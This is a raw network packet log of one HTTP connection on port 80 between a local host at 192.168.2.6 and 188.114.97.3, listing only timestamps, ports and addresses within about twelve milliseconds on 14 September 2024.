Sep 14, 2024 18:44:16.081778049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.081809998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.081810951 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.081841946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.081857920 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.081875086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.081959009 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.082108974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.082140923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.082173109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.082196951 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.082205057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.082237959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.082257032 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.082272053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.082303047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.082321882 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.082334995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.082367897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.082386971 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.082397938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.082429886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.082449913 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.082458973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.082489014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.082513094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.082520962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.082552910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.082572937 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.082585096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.082616091 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.082637072 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.082648993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.082680941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.082700014 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.082712889 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.082745075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.082763910 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.083045006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.083076954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.083098888 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.083110094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.083142042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.083161116 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.083173990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.083204985 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.083226919 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.083235979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.083267927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.083287001 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.083301067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.083331108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.083353043 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.083364010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.083416939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.083430052 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.083448887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.083477020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.083506107 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.083508015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.083540916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.083570957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.083600998 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.083601952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.083619118 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.083635092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.083666086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.083686113 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.083695889 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.083748102 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.084002018 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.084034920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.084067106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.084086895 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.084099054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.084130049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.084158897 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.084162951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.084194899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.084217072 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.084229946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.084256887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.084285021 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.084289074 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.084321022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.084341049 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.084352970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.084386110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.084404945 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.084418058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.084450006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.084470034 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.084482908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.084515095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.084532976 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.084547997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.084578991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.084597111 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.084609985 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.084661961 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.084970951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.085004091 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.085036993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.085069895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.085102081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.085103989 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.085122108 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.085134029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.085166931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.085191011 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.085199118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.085232019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.085249901 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.085263968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.085295916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.085326910 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.085329056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.085360050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.085386992 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.085395098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.085427046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.085453033 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.085459948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.085493088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.085513115 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.085525990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.085555077 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.085580111 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.085993052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086028099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086060047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086097956 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.086157084 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.086186886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086222887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086256027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086282969 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.086287022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086316109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086345911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086364985 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.086378098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086410046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086435080 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.086437941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086453915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086467981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086471081 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.086482048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086497068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086510897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086519957 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.086525917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086539984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086555958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086570978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086571932 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.086595058 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.086631060 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.086782932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086797953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086811066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086824894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086839914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086854935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086869001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086884022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086885929 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.086898088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086915016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086927891 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086927891 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.086942911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086956978 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.086957932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086972952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086987019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.086997986 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.087001085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.087016106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.087045908 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.087100983 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.087555885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.087572098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.087585926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.087599993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.087614059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.087615013 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.087629080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.087642908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.087654114 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.087657928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.087671995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.087686062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.087687969 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.087699890 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.087708950 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.087714911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.087729931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.087738037 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.087743998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.087759972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.087759972 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.087774038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.087788105 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.087789059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.087805033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.087817907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.087826014 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.087832928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.087857008 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.088073969 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.088381052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.088397026 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.088414907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.088428974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.088437080 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.088444948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.088459969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.088474989 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.088479996 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.088531971 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.088536978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.088555098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.088570118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.088584900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.088598967 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.088613033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.088627100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.088641882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.088656902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.088671923 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.088673115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.088686943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.088701963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.088712931 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.088716984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.088741064 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.088771105 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.089231014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089247942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089262009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089276075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089287043 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.089291096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089306116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089319944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089329958 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.089334965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089349031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089358091 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.089363098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089379072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089385986 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.089394093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089406967 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089421988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089431047 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.089431047 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.089437962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089452028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089469910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089476109 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.089513063 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.089531898 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.089688063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089704037 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089718103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089734077 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089751005 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.089783907 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.089859009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089874983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089889050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089905024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089926958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089926958 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.089942932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089956999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089972019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.089977026 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.089987040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.090002060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.090017080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.090018988 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.090032101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.090045929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.090060949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.090066910 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.090076923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.090091944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.090104103 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.090107918 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.090122938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.090128899 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.090137959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.090147018 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.090167999 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.090826035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.090842009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.090856075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.090869904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.090882063 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.090883970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.090898991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.090903997 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.090914011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.090928078 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.090940952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.090955973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.090970993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.090970993 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.090991020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.091006041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.091006994 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.091021061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.091032028 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.091037035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.091049910 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.091062069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.091099977 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.091120005 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.093337059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.093362093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.093377113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.093424082 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.093472958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.093487978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.093502998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.093518019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.093532085 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.093559980 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.093616962 CEST	80	49722	188.114.97.3	192.168.2.6
